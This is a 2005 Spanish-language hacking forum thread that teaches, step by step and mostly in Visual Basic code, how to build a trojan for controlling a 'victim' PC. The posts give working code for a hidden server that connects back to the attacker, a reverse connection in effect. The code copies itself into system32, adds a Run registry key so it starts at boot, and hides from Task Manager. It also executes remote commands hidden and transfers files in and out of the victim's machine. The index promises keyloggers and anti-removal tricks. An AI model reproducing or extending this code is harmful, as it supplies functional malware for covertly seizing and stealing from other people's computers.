elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
22 Agosto 2008, 01:47  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Man-in-the-Middle, Hendriҳ)
| | |-+  troyano en vb desde CERO, INDICE de contenidos en la primera pagina, GranManual
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ... 38 Ir Abajo Imprimir
Autor Tema: troyano en vb desde CERO, INDICE de contenidos en la primera pagina, GranManual  (Leído 60153 veces)
-Xenon-

Desconectado Desconectado

Mensajes: 501


Spectrum 128k


Ver Perfil
troyano en vb desde CERO, INDICE de contenidos en la primera pagina, GranManual
« en: 14 Febrero 2005, 04:28 »

hacia tiempo que he estado callado y ya era hora de servir ala comunidad :p, aqui pongo un bonito indice, de todos los contenidos que tiene este magnifico hilo

este es un completo manual en forma de hilo, para la creacion de un "troyano" o programa de administracion remota DESDE CERO

hace tiempo que dejo de ser un minicurso, ahora es mas un manual completo, o mas bien una guia. un excelente trabajo en equipo

y es por eso que quiero aclarar, que este hilo, este manual, esta guia, NO ES MIA, ES DE TODOS

esta obra se a realizado GRACIAS ala ayuda de todos, no voy a decir nombres, porque no querria que unos piensen que por nombrar antes a uno, me cae mejor que otro ;), todos sus nombres estan reflejados en este hilo, cada autor esta reflejado en cada aportacion!

A TODOS ELLOS GRACIAS


ENLACE AL TUTORIAL:
http://foroelhacker.iespana.es/cursotroyano.doc

pd: cambiar el fondo del documento a negro, para que sea mas legible
gracias, carloseduard_15



Indice:   
Código:
pagina 1
curso de 3 partes
conexion inversa
consola virtual remota
transferencia de archivos

pagina 2
notificacion por irc

pagina 3
bouncer
ocultacion
notificacion por email
reinicio pc, apagar pc, ejecutar salvapantallas

pagina 4
keylogger
mejora de transferencia de archivos
api para no usar winsck.ocx
bajar archivos de internet ocultamente

pagina 5
desabilitar control-alt-del
comprobar si existe una clave en el reg, para saber si ya a sido infectado
editor del server

pagina 6
continuacion del edit server
abrir pagina web, crear carpeta, borrar registro, borrar file
Establecer objetos VBS a variables
Copiar archivos ,Mover archivos,Borrar archivos,Crear una carpeta,Borrar una carpeta,Crea un archivo y escribe dentro de el ,
Ejecutar y/o abrir archivos o paginas web,Crea y/o modificar una entrada de registro de Windows,Borrar una entrada de registro de Windows ,Lee una entrada de registro de Windows
aceptar varias conexiones
añadirle skins al cliente

pagina 8
chat con la victima
matar procesos, que se ejecutan de nuevo al matarlos
Tutorial del No-ip con nuestro troyano en Visual Basic

pagina 9
password en el cliente
nombre de la ventana activa, para keylogger

pagina 10
re- mejora de la transferencia de archivos
captura de pantalla

pagina 11
listar archivos, carpetas, directorios contuinua en la 12( file manager )

pagina 12
re-captura de pantalla
notificacion por php

pagina 13
matar procesos de otra manera
re-file manager

pagina 14
re-file manager

pagina 16
colgar pc

pagina 17
para dificultar la desinfecion del troyano

pagina 19
apagar monitor
bloquear administrador de tareas

pagina 21
cambiar el papel tapiz

pagina 22
aclaraciones sobre la consola remota y sencilla forma de solcuionar errores



si alguien observa un error, o me olvido de algo, o algo no esta correcto y mando a una pagina donde no esta esa info, comunicarmelo por mensaje privado POR FAVOR!!!

de nuevo mil gracias a todos vosotros!!!
« Última modificación: 26 Diciembre 2007, 23:40 por -Xenon- » En línea

Cuando el ingenio se queda pequeño,
No basta con poner empeño,
Solo el talento consigue el diseño
Джордж
Colaborador

Desconectado Desconectado

Mensajes: 2.029



Ver Perfil
Re: troyano en vb desde 0, MINICURSO
« Respuesta #1 en: 14 Febrero 2005, 07:03 »

Hola fulano, me parece una fenomenal idea por tu parte el enseñar asi a la gente, si lo haces un "minu-curso" seguro que la gente lo sigue muy atentamente... ojala lo orientes bien y te aseguro que tendras muchos adeptos.

Mucha suerte en este proyecto y a seguir asi.
En línea

-Xenon-

Desconectado Desconectado

Mensajes: 501


Spectrum 128k


Ver Perfil
Re: troyano en vb desde 0, MINICURSO
« Respuesta #2 en: 14 Febrero 2005, 07:28 »


GRACIAS!!,  vi que se estaba haciendo un proyecto de crear un troyano entre todos,, pero en ese post solo veo que se dan las direcciones del msn, eso es bueno paa compartir ideas on-line, pero si se propone crearlo entre todos , yo lo que quiero es que sea aqui mismo en este foro por ejemplo para que todo el mundo lo pueda leer y aprender y que aporten y aprendamos nosotros de otros!

.esto que puse es muy sencillo y lo mas basico, pero enseguida preparo la continuacion, solo que quiero poner lo siguiente que sera la transmision y recepcion de archivos por winsock, ya que yo actualmente lo hago por ftp, el codigo ya lo he estudiado y aprendido solo estoy ahora mismo retocandolo para añadirle una barra de progreso, y en breve lo publico aqui como continuacion...

.lo siguiente que quiero poner es implementarle la consola de comandos que es lo MAS practico, y luego ya funciones como captura de pantalla, y keylogger. y despues si alguien aporta mas funciones esplicadas paso por paso para aprender un poco mas, pues mejor!!!! que de eso se trata!

me alegro que guste y pronto lo continuo! un saludo
En línea

Cuando el ingenio se queda pequeño,
No basta con poner empeño,
Solo el talento consigue el diseño
BloCKeadO

Desconectado Desconectado

Mensajes: 2.253


Made in Spain.


Ver Perfil WWW
Re: troyano en vb desde 0, MINICURSO
« Respuesta #3 en: 14 Febrero 2005, 08:50 »

Para eso esta la "fundacion laboratorio".....

Y no estaria de mas unos
Citar
  para  separar codigo de texto.
En línea

-Xenon-

Desconectado Desconectado

Mensajes: 501


Spectrum 128k


Ver Perfil
troyano en vb desde 0, MINICURSO
« Respuesta #4 en: 14 Febrero 2005, 09:32 »


aver que tal me esplico y que tal os parece este minicurso de como hacer un troyano desde 0 en vb con conocimientos MINIMOS:

un troyano consta fundamentalmente de 2 partes; el cliente y el servidor, entre ambos se establece una conexion para pasar datos
de todo tipo, asi que lo primero que haremos es crear estos 2 programas y diseñar esa conexion, veamoslo:

CLIENTE

con el vb abierto y elijiendo un nuevo proyecto empezamos agregando en: PROYECTO-COMPONENTES y selecionamos microsoft winsock controls
ahora se abra agregado un icono nuevo de 2 pcs ala derecha, pues le picamos y lo incluimos en el formulario. una buena idea es renombrarlo a WS para
ahorrar tiempo al nombrarlo en el codigo.

para configurar la conexion pondremos este codigo; añadimos un boton lo podemos llamar "escuchar" y en el evento click:

Código:
Private Sub escuchar_Click()
On Error Resume Next                                      'esta linea sirve para que en caso de error siga el programa en la siguiente linea sin interrumpirlo
Ws.LocalPort = Text1.Text                              'el puerto que empleara el winsock sera el que introduzcas en un textbox, AÑADELO
Ws.Close                                                            'ws llama al objeto winsock que hemos agregado el punto te deja elegir opciones, y la opcion close es para que cierre la conexiono el puerto abierto
Ws.Listen                                                           'deja ala escucha el puerto introducido en el textbox
If Ws.State = 2 Then Label1.Caption = "Escuchando"            'si el estado del winsock es (escuchando) entonces la propiedad caption de la etiketa sera "Escuchando" asi que ya estas añadiendo un label(etiketa), esto es util
para ver si de verdad esta escuchando o no, ya que si ese puerto ya estubiera abierto no te dejaria abrirlo para este programa, de ay tambien lo de ws.close antes...
End Sub

con este codigo ya tenemos un puerto escuchando ala espera, pero esto no es todo, ya que por muy abierto que este, si no le decimos que hacer si alguien intenta conectarse a el, no servira de nada, veamoslo:

añadimos este codigo al programa:

Código:
Private Sub ws_ConnectionRequest(ByVal requestID As Long)         'cuando se intente conectar a este (servicio,puerto,socket,o etc..) recojera su ip y ejecutara el siguiente codigo:
On Error GoTo error                                                                                'si ay un error ves ala etiketa (error)
Ws.Close                                                                                                  'necesario para aceptar la conexion
Ws.Accept requestID                                                                            'acepta cualquier conexion entrante
Label3.Caption = Ws.RemoteHostIP                                                   'añades otra etiketa y esto hara que te ponga la ip remota del servidor
Shell "c:\ki.bat"                                                                                       'esto ejecuta un archivo, yo lo puse para que ejecutase un sonido y asi coscarme de cuando se me conecta la victima, osea el servidor
Timer1.Interval = 3000                                                                            '3 segunditosss, sobra decir que tienes que añadirlo asi que ahora sere mas concreto por que ya presupongo que as aprendido algo de vb de la revista, o con solo averlo visto por encima y jugueteado un poco con el , entenderas todo lo que digo, y sino ya pregunhtareis
error:
End Sub

ahora ya se establece una conexion cuando el servidor intente conectar a el puerto elejido en el textbox!
esto es el codigo del evento timer y asi entendereis que pinta ese temporizador

Código:
Private Sub Timer1_Timer() 'al pasar 3 segundos de establecerse la conexion
On Error GoTo error
If Not Ws.State = 7 Then                       'si el estado de la conexion no es (conectado) entonces que me ponga en una etekita "Desconectado"
Label1.Caption = "Desconectado"
Else
End If
If Ws.State = 7 Then
Label1.Caption = "Conectado"
Else
End If
If Label1.Caption = "Desconectado" Then     'si pone desconectado en el label, entonces ejecuta lo de la etiketa puente,"cerrar y volver a escuchar"
Label1.Caption = "Desconectado"
GoTo puente
Else
End If
GoTo error                                               'puentea y se salta el cierre y vuelta a escuchar la conexion, para que seguir normalmente con la conexion establecida
puente:
Ws.Close
Ws.Listen
error:
End Sub

ahora que ya tenemos lo basico de el cliente, nos falta como pide conectar el servidor, veamoslo:

SERVIDOR

que decir que esto significa volver a abrir otra vez el vb y volver a iniciar un proyecto nuevo y un form estandar...esto es otro programa!

en el evento load del formulario:, que porcierto teneis que ir a las propiedades y ponerle la propiedad visible a FALSE, para que no de el cantazo:

Código:
Private Sub Form_Load()
dim ip as string, ipftp as string, port as integer,Dim ejec As String         'declaramos estas variables , si las declarais en el general mejor
Dim win
Dim sys
Dim residencia
On Error Resume Next
ip = "127.0.0.1"                             'esta es nuestra ip local, asi que conectara a nuestra ip local, aqui se pondria nuestra ip publica, y si cambia pues os registrais en no-ip.com y si habeis leido la revista no tendreis problemas
ipftp = "o 127.0.0.1"
port = 6969
WS.RemoteHost = ip
WS.RemotePort = port
Timer1.Interval = 60000     'se esteblace un intervalo de 3 segundos para ejecutar el evento timer1
ejec = App.path                                    'le pasamos a la variable la ruta del exe que ejecute la victima
If Right(ejec, 1) <> "\" Then ejec = ejec & "\"    'si no tiene la "\" al final, se la añadiremos
ejec = ejec & App.EXEName & ".exe"                 'añadimos ala ruta del exe, el nombre y la estension
Set obj = CreateObject("Scripting.FileSystemObject") 'declaramos un objeto tipo fileSystem object
Set win = obj.GetSpecialFolder(0)                    'para obtener la carpeta de windows y system
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)                                     'las ponemos en minusculas
sys = LCase(sys)
FileCopy ejec, sys & "\nombre1"                     'copia a windows\system32
Name sys & "\nombre1" As sys & "\nombre2.exe"       'renombra
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "nombre3", sys & "\nombre2.exe"  'esto modifica el registro para que se ejecute al iniciar el pc
App.TaskVisible = False          'para ocultarlo un poco del, (alt +sup +control)
End Sub

ahora el evento timer1 que es lo que llamara a conectar con el cliente y establecera el canal de datos, ya falta poco...

Código:
Private Sub Timer1_Timer() 'cuando pasan 60 segundos
On Error GoTo Error
If Not WS.State = 7 Then Call cmdok_Click                                          'llama al evento click del boton cmdok si no ay conexion establecida
If WS.State = 7 Then Label3.Caption = "conectado" Else Label3.Caption = "desconectado"       ' ya esplicado
Error:
End Sub

boton cmdok:

Código:
Private Sub cmdok_Click()
On Error GoTo Error
If Not WS.State = 7 Then GoTo puente         'si no ay conexion cierra, CONECTA ala ip puesta en la variable ipy po rel puerto puesto en la variable port
GoTo Error
puente:
WS.Close
WS.Connect
Error:
End Sub

ya esta hasta aqui yo creo que lo he esplicado medianamente legible, ahora ya sabeis crear un canal de datos y un cliente y un servidor, pero faltan unos pequemños detalles mas:

pasamos al cliente y creamos un boton y una caja de testo, en el evento click del boton ponemos: ws.senddata text2.text, y asi una vez conectado con el servidor, lo veras que pondra conectado donde hallas puesto
la etiketa aquella, te acuerdas? entonces ya puedes pasarle datos al servidor, escribes el dato en la caja de testo y le das al boton que acabas de poner para tal efecto. Cheesy

ahora vamos al servidor otra vez y en el evento LLEGADA DE DATOS del winsock ponemos:

Código:
Private Sub WS_DataArrival(ByVal bytesTotal As Long)                        'en la llegada de datos
On Error GoTo Error
dim datos as string
ws.getdata datos          'metemos en la variable datos los datos que nos lleguen
if datos = "paint" then shell ("mspaint")                    ' si los datos eran = a "paint" entonces ejecuta el paint
end sub

con esto vemos que si en el cliente le enviamos la palabra paint poniendola en el textbox  y dandole al boton que la envia, vemos que en el servidor se le ejecutara el paint,
y con esto ya tienes un troyano muy sencillito, ahora a poco que investigues te lo puedes currar como yo, por hoy ya vale, yo uso ahora un sistema de envio de archivos
y un sistema para ver sus archivos muy rudimentario pero funcional, lo esplicare en breve, para cojerle archivos o meterle archivos uso el serv-u(esplicado en la revista)
y lo que hago es crearle un fichero de testo con los datos de la conexion ftp y del archivo cojer o meter... con imaginacion, haces lo que quieras, y mientras ahora mismo pregunto
en el foro de programacion, que error cometo en el codigo que he pensado para enviar archivos completos por winsock... voy a preguntarlo, y mañana esplico lo del serv-u y la consola de comandos
en el troyano.

saludos, espero que haya sido orientativo esto y util!! seguire esplicando en breve,  o si alguien se anima a cojerme el hilo y aumentarlo y mejorarlo pues COJONUDO!
asi aprendo yo tambien algo mas!

xenon, alias fulano_

pd: para que sea mas legible el codigo copiarlo y pegarlo en un block de notas por ejemplo para que los comentarios de despues del signo '  aparezcan al lado del codigo todo seguido y no se vea en la siguiente linea como pasa en este post...
En línea

Cuando el ingenio se queda pequeño,
No basta con poner empeño,
Solo el talento consigue el diseño
-Xenon-

Desconectado Desconectado

Mensajes: 501


Spectrum 128k


Ver Perfil
segunda parte del minicurso, programando un troyano desde 0 en vb
« Respuesta #5 en: 14 Febrero 2005, 09:34 »

Bueno, se podria decir que esta es la segunda parte de este minicurso... Hoy veremos como programar una consola virtual y acoplarla al troyano, algo muy versatil y con la cual ya tendrias todo el poder suficiente para hacer lo que quieras en la victima.

Empiezo con este codigo y lo comentamos:

en el servidor ( archivo que es ejecutado en el pc victima ) :

Código:
Private Sub cmdfin_Click()  'añadimos un boton, yo lo he llamado cmdfin...y en su evento CLICK:

ruta = "C:\"  'le ponemos ala variable ruta, la direccion donde se guardara un archivo que necesitamos, contra mas escondida sea la ruta mejor!! c:\ es un mal ejemplo...pero asi empece yo
Open ruta & "fox.bat" For Output As #1 'abre un archivo llamado fox.bat en el canal 1...la opcion output sobreescribe el contenido completo del archivo, si pusieras append lo añadiria al final. esto es mucho royo pero asi se aprenden mas cosa, no?

Print #1, datos & ">" & ruta & "fox.txt"   'aqui coje primero la variable datos y su contenido lo mete en ese archivo .bat, luego el caracter > es para que junto ala "RUTA" y al nombre "FOX.TXT" nos saque el resultado del comando en ese archivo de testo "fox.txt", se entiende perfectamente pero lo esplicare lo mejor que pueda, esto es un archivo .bat osea un archivo que se puede abrir con un block de notas y en el que poder insertar comandos de msdos y sera ejecutado como un .exe, sin compilar ni ostias. asi que la idea es poner el comando y la salida redireccionarla a un archivo de testo que cojeremos y lo leeremos en nuestro cliente para ver el resultado de nuestros comandos

Close #1 ' cierra el archivo

Shell ruta & "fox.bat", vbHide             'ejecuta el archivo que lleva el comando escrito dentro.

Open ruta & "fox.txt" For Input As #1 ' aqui abre el archivo de testo para poder lmeter su contenido en una variable STRING ya que almacenara una cadena de caracteres.

comando = Input(LOF(1), #1)          'mete el archivo de testo en esta variable, que es la salida del comando

Close #1 ' cierra

Call mostrar_Click                 ' esto llama a un boton que esplico luego

End Sub


en el cliente con poner una caja de testo donde introducir los comandos y un boton de enviar ya estaria hecho.esto ya lo hicimos en el primer capitulo de este tutorial.

Código:

Código:
private sub boton_click
text.text = datos
winsock.senddata datos
end sub

ahora el boton del servidor que estaba puesto alfinal del primer codigo que he puesto:


Código:
Private Sub mostrar_Click()
On Error GoTo Error     'si ocurre un error salta ala etiketa error
Winsock.SendData comando           'simplemente envia la salida del comando intruducido al cliente!

Error:
End Sub

bien, ahora toca una parte peliaguda, un problema que he solventado chapuceramente, pero funciona, lo esplico, y cada vez lo ire esplicando menos concienzudamente por que dare por sentado que ya se tiene un cierto nivel y una cierta soltura:


Código:
Private Sub WS_DataArrival(ByVal bytesTotal As Long) 'en la llegada de datos

On Error GoTo Error
WS.GetData datos               'los datos entrantes se ponen en variable datos, recordar declararla como STRING, dim datos as string en el general por ejemplo.

If datos = "a" Then bin1 = true
If bin1 = false And datos <> "a" Then Call cmdfin_Click
If bin1 = true And datos <> "a" Then Call bin_Click
Error:
End Sub


como interpreta el servidor los datos que le mandas de pendiendo de un comando especial "a":

es mas sencillo de lo que parece: en un caso normal alo primero de hacerlo el codigo de arriba estaba sin esto:

If datos = "a" Then bin1 = true
If bin1 = false And datos <> "a" Then Call cmdfin_Click
If bin1 = true And datos <> "a" Then Call bin_Click

y en su lugar simplemente llamaba al boton cmdfin_click, para ejecutar el comando en la victima y que nos devolviera la respuesta como he esplicado arriba.

que pasa? pues que ala hora de poner esto por ejemplo como comando:

echo msgbox "has sido hackeado">c:\hack.vbs

en verdad estabas poniendo esto otro!

echo msgbox "has sido hackeado">c:\hack.vbs>c:\fox.txt

con lo cual no me creaba el archivo hack.vbs y no funcionaba el comando como yo queria, por que a todo comando se le añade >c:\fox.txt para que ponga la salida del comando en un archivo de testo para que te envie el resultado de un "dir c:\" por ejemplo.

que hice? pues puse en estas lineas

If datos = "a" Then bin1 = true
If bin1 = false And datos <> "a" Then Call cmdfin_Click
If bin1 = true And datos <> "a" Then Call bin_Click

que si el comando que envia es solo una simple "a", una variable que uso a modo de interruptor "bin1" se pone a true que ejecute el boton bin_click , y mientras los datos no sean una "a" el comando especial que eleji ,bin1 tienes que declararla como BOOLEAN!!

y el boton bin_click esta asi:

Código:
Private Sub bin_Click()
ruta = "C:\"
Open ruta & "fox.bat" For Output As #1
Print #1, datos
Close #1
Shell ruta & "fox.bat", vbHide
bin1 = false  ' reestablece el interruptor virtual a apagado, false
End Sub

parecido al cmdfin_click pero sin que te ponga el ">c:\fox.txt" al final, asi ejecuta el comando LIMPIO y tal y como tu lo mandas ejecutar, con la unica condicion de que no podras ver el resultado de ese comando, no tellegara la respuesta, no sabras si se ejecuto o no, pero eso tampoco es mucho problema.

asi ahora podemos interpretar este codigo tan extraño:

Código:
If datos = "a" Then bin1 = true
If bin1 = false And datos <> "a" Then Call cmdfin_Click
If bin1 = true And datos <> "a" Then Call bin_Click



si datos = a entonces la variable bin1 es =  true ' hemos mandado el comando a y ahora es como si hubieramos activado un interruptor y cambia la forma de ver al siguiente comando:

si el interruptor no esta activado y los datos no son una (a) entonces ejecuta el comando con la salida de regreso al cliente

si el interruptor esta activado y los datos son cualquiercosa menos una (a) entonces ejecuta el comando LIMPIO tal y como lo escribes,pero sin respuesta al cliente


al ejecutar el comando limpio el interruptor se vuelve a poner a bin1 = false osea desactivado, asi en cada comando que quieras poner limpio as de mandar una -a- antes!

lo esplico demasiado para torpes pero! ami me hubiera gustado que me esplicasen asi muchas cosas que puedo ver raras! sorry para los demas que les parece que estoy perdiendo el tiempo haciendo esto!

ya esta lista la funcion de consola, ( chapucera pero funcional )

aclaraciones!!!! en el cliente as de poner tambien una caja de testo para ver el resultado con la propiedad de MULTIINEA! que os pasara como ami!  lo pones en multilinea en las propiedes de la derecha, selecionas el text y cambias esa propiedad a true

aparte de la caja de testo en el formulario as de poner este codigo para ver en esa caja la respuesta:


Código:
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) 'llegan datos
On Error GoTo error
Winsock1.GetData datos 'datos en datos
Text2.Text = datos      '<---------------------esto de aqui es para verlo!!

error:
End Sub

a disfrutarlo con salud!

hoy mismo o mañana publico la tercera parte, como enviar y cojer archivos de la victima, esplicare 2 metodos el que usaba yo hasta ahora y el profesional :P que he aprendido hace muy poco.

dudas comentarios o lo que sea podeis ir poniendolos...si se me olvida algo lo añadire por la tarde que me voy a currar!

un saludo!, Xenon alias fulano_
« Última modificación: 15 Febrero 2005, 04:05 por fulano_ » En línea

Cuando el ingenio se queda pequeño,
No basta con poner empeño,
Solo el talento consigue el diseño
Man-in-the-Middle
www.tunchemart.com --OjO-- Solo Quejas!!
Moderador
*****
Desconectado Desconectado

Mensajes: 3.296



Ver Perfil WWW
Re: troyano en vb desde 0, MINICURSO
« Respuesta #6 en: 15 Febrero 2005, 01:12 »

Clap, Clap,Clap,Clap,Clap,Clap,Clap,Clap,  Clap,  Clap, fulano_ :D, pues merece una chincheta tu hilo

saluoos

Man-In-the-Middle

Pd: Podrias hacer un tutorial, en doc, pdf y lo ponemos en paper  ;)
En línea

-Xenon-

Desconectado Desconectado

Mensajes: 501


Spectrum 128k


Ver Perfil
Re: troyano en vb desde 0, MINICURSO
« Respuesta #7 en: 15 Febrero 2005, 04:11 »


Asi se hara, lo completo aqui en el foro y luego lo paso correjido
y mas limpio y legible en un .doc

Mientras si veo algun error o alguna cosa la modificare en los post 
,etc...

GRACIAS, me alegro que guste, seguire esplicando mas cosas en esta semana!! intentare hacerlo lo mejor que pueda.

un saludo!
En línea

Cuando el ingenio se queda pequeño,
No basta con poner empeño,
Solo el talento consigue el diseño
-Xenon-

Desconectado Desconectado

Mensajes: 501


Spectrum 128k


Ver Perfil
Re: troyano en vb desde 0, MINICURSO PARTE 3ª
« Respuesta #8 en: 17 Febrero 2005, 04:18 »



POSDATA DE EL ARTICULO DE LA CONSOLA!
lo que hicimos en la segunda parte del curso fue una consola virtual, lo llamo virtual por que quiero dejaros claro un defecto que tiene.

y es que no es interactiva, esto significa que si le mandas un comando y la respuesta del comando es por ejemplo:

¿Esta seguro que desea borrar el archivo? SI/NO

pues en esta situacion no podremos responder y se quedaria esa ventana ala espera de una respuesta, pero siempre oculta al añadirle el parametro ,VBHIDE al usar el comando SHELL, si no os acordais revisarlo!

al intentar responder se crea una nueva ventana con el comando si, o no, y ese comando a secas no tendria sentido si no se pone en la misma ventana donde se introdujo el primer comando que genero esa respuesta en forma de pregunta.

esto es algo que debereis estudiar y corregir vosotros ,investigando por ay, seria un buen ejercicio!!

voy a poner una serie de cosas que os ayudaran en el manejo de la consola, tales como ver los PROCESOS, matarlos, y ver el registro y modificarlo añadiendo nuevas claves, etc...:

   -----------------------PROCESOS----------------------------

esto funciona bajo win xp:
                 
                         MOSTRAR PROCESOS

tasklist

                           MATAR PROCESOS

taskkill /pid numero /f

    ------------------------REGISTRO------------------------

                   AÑADIR CLAVE EN EL REGISTRO

REG ADD clave [/v nvalor | /ve] [/t tipo] [/s separador] [/d datos] [/f]

  clave      [\\equipo\]tclave
             Equipo     nombre del equipo remoto. Si se omite se usa el
                        equipo actual. Sólo HKLM y HKU están disponibles
                        para equipos remotos.
             tclave     CLAVERAIZ\subclave
             CLAVERAIZ  [ HKLM | HKCU | HKCR | HKU | HKCC ]
             subclave   Nombre completo de una clave de registro en la
                        CLAVERAIZ seleccionada.

  /v         Nombre del valor en la clave seleccionada para agregar

  /ve        Agrega el nombre de valor vacío <sin nombre>

  /t         Tipos de datos de clave de registro
             [ REG_SZ    | REG_MULTI_SZ  | REG_DWORD_BIG_ENDIAN    |
               REG_DWORD | REG_BINARY    | REG_DWORD_LITTLE_ENDIAN |
               REG_NONE  | REG_EXPAND_SZ ]
             Si se omite, se asume REG_SZ

  /s         Especifica el carácter que usa como separador en su cadena
             de datos para REG_MULTI_SZ. Si se omite, se usa "\0" como
             separador

  /d         Datos que se asignan a nvalor del registro que se agrega

  /f         Fuerza la sobrescritura de entradas de registro existentes
             sin avisar.

Ejemplos:

  REG ADD \\ABC\HKLM\Software\MiCo
    Agrega una clave HKLM\Software\MiCo en el equipo remoto ABC

  REG ADD HKLM\Software\MiCo /v datos /t REG_BINARY /d fe340ead
    Agrega un valor (nombre: datos, tipo: REG_BINARY, datos: fe340ead)

  REG ADD HKLM\Software\MiCo /v MRU /t REG_MULTI_SZ /d fax\0mail
    Agrega un valor (nombre: MRU, tipo: REG_MUTLI_SZ, datos: fax\0mail\0\0)

  REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d %%systemroot%%
    Agrega un valor (nombre: Path, tipo: REG_EXPAND_SZ, datos: %systemroot%)
    Nota: use porcentaje doble ( %% ) dentro de la cadena expandida


Herramienta de registro de consola para Windows - versión 3.0
Copyright (C) Microsoft Corp. 1981-2001.  Reservados todos los derechos

                           BORRAR CLAVE

REG DELETE clave [/v nvalor | /ve | /va] [/f]

  clave      [\\equipo\]tclave
    equipo   Nombre del equipo remoto. Si se omite se usa el equipo actual.
             Sólo están disponibles HKLM HKU en equipos remotos.
    tclave   CLAVERAIZ\subclave
    CLAVERAIZ [ HKLM | HKCU | HKCR | HKU | HKCC ]
    subclave Nombre completo dela clave de registo en la CLAVERAIZ
             seleccionada.
  nvalor     Nombre de valor para borrar en la clave seleccionada.
             Si se omite, eliminarán todas las subclaves y valores en la
             clave seleccionada.
  /ve        Elimina el valor de un nombre de valor vacío <sin nombre>
  /va        Elimina todos los valores en la clave actual
  /f         Fuerza la eliminación sin avisar.

Ejemplos:

  REG DELETE HKLM\Software\MiCo\MiAp\Timeout
    Elimina la clave del registro Timeout y sus respectivas subclaves y
    valores

  REG DELETE \\ZODIAC\HKLM\Software\MiCo /v MTU
    Elimina el valor de registro MTU en la clave MiCo de ZODIAC

Herramienta de registro de consola para Windows - versión 3.0
Copyright (C) Microsoft Corp. 1981-2001.  Reservados todos los derechos

 -------------------------LEER CLAVE--------------------------

REG QUERY clave [/v nvalor | /ve] [/s]

  clave      [\equipo\]clave
    equipo:  Nombre del equipo remoto. Si se omite se usa el equipo actual.
             Sólo están disponibles HKLM y HKU en equipos remotos.
    clave:   Con la forma nombre de CLAVERAIZ\subclave
             CLAVERAIZ [ HKLM | HKCU | HKCR | HKU | HKCC ]
             Subclave: Nombre completo de la clave de registro en la CLAVERAIZ
             seleccionada.
  /v         consulta para una clave de registro específica
             nvalor: nombre en la clave seleccionada para consultar.
             Si se omite, se consultará en todos los valores de la clave.
  /ve        Consultar el valor predeterminado  o el de nombre vacío <sin nombre>
  /s         Consultar todas las subclaves y valores

Ejemplos:

  REG QUERY HKLM\Software\Microsoft\ResT /v Version
    Muestra el valor del valor Version del registro.

  REG QUERY HKLM\Software\Microsoft\ResT\Setup /s
    Muestra todas las subclaves y valores en la clave de registro Setup.

con esto ya podemos hacer bastantes cosas interesantes solo usando la consola, ella te da todo el manejo del s.o, aprendelo y aprovechalo, con esto ya no necesitaria muchas mas pijadas el troyano
------------------------------------------------------------------------
vamos al tema que nos ocupa :p  seguimos con el troyano!!

                    INTER CAMBIO DE ARCHIVOS
  subir archivos ala victima y bajar archivos de la victima

voy a publicar primero el codigo y luego lo esplico concienzudamente... tendreis que estar subiendo para arriba para ver el codigo y seguir su funcionamiento, pero seguro que se entendera mejor asi:

---------------------------CLIENTE-----------------------------------

Código:
Dim filesize As Long, filedata As String, datos2 As String, progreso As Boolean, bytes As Long, send As Boolean
Dim ext As String, path As String, nombre As String

Private Sub Command1_Click()
ws.RemotePort = "4444"
ws.RemoteHost = "127.0.0.1"
ws.Close
ws.Connect
End Sub

Private Sub Command2_Click()
cd.Filter = "Todos los archivos |*.*"
cd.ShowOpen
Open cd.FileName For Binary As #1
filedata = Input(LOF(1), 1)
Close #1
nombre = cd.FileTitle
path = InputBox("elige la ruta donde se" & vbCrLf & "guardara el archivo en la victima:" & vbCrLf & "Añade '\' al final!", "Ruta donde se guardara", path)
path = path & nombre
filesize = Len(filedata)
ws.SendData "archivo" & "|" & filesize & "|" & path
End Sub

Private Sub Command3_Click()
Dim ruta As String
ruta = InputBox("Introduce la ruta completa del archivo remoto:", "Descargar Archivo", ruta)
ws.SendData "coger" & ruta
ext = Right(ruta, Len(ruta) - 4)
End Sub

Private Sub Form_Load()
send = False
progreso = False
End Sub

Private Sub Timer1_Timer()
If ws.State = 7 Then Label1.Caption = "Conectado" Else Label1.Caption = "Desconectado"
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim datos As String
ws.GetData datos
If datos = "enviar" Then
progreso = True
ws.SendData filedata
End If
If datos = "recibido" Then
'ws.SendData "cierra"
End If
If Left(datos, 7) = "archivo" Then
send = True
    filesize = Mid(datos, 8)
    ws.SendData "enviar"
    datos2 = ""
Else
    If Len(datos2) <> filesize And send = True Then
        datos2 = datos2 + datos
        pb.Min = 0
        pb.Max = filesize
        pb.Value = Len(datos2)
        pb.Refresh
    End If
        If Len(datos2) = filesize And send = True Then
        ws.SendData "recibido"
        pb.Value = 0
        cd.Filter = "Archivos " & ext & "| *" & ext
        cd.FileName = ""
        cd.ShowSave
        Open cd.FileName For Binary As #1
        Put #1, 1, datos2
        Close #1
        End If
End If
End Sub

Private Sub WS_SendProgress(ByVal bytesSent As Long, ByVal bytesRemaining As Long)
If progreso = True Then
pb.Min = 0
pb.Max = filesize
bytes = bytes + bytesSent
pb.Value = bytes
pb.Refresh
If filesize = bytes Then
pb.Value = 0
MsgBox "Archivo enviado con exito"
progreso = False
End If
End If
End Sub

       ---------------------SERVIDOR----------------------------

Código:
Dim filesize As Long, datos2 As String, filedata As String, send As Boolean, path As String

Private Sub Form_Load()
send = False
ws.LocalPort = "4444"
ws.Close
ws.Listen
End Sub

Private Sub Timer1_Timer()
If ws.State = 7 Then Label1.Caption = "Conectado" Else Label1.Caption = "Desconectado"
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.Close
ws.Accept requestID
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim datos As String, dato As Variant
ws.GetData datos
If datos = "enviar" Then
ws.SendData filedata
End If
If datos = "recibido" Then
'ws.SendData "cierra"
End If
If Left(datos, 7) = "archivo" Then
send = True
    dato = Split(datos, "|")
    filesize = dato(1)
    path = dato(2)
    ws.SendData "enviar"
    datos2 = ""
Else
    If Len(datos2) <> filesize And send = True Then
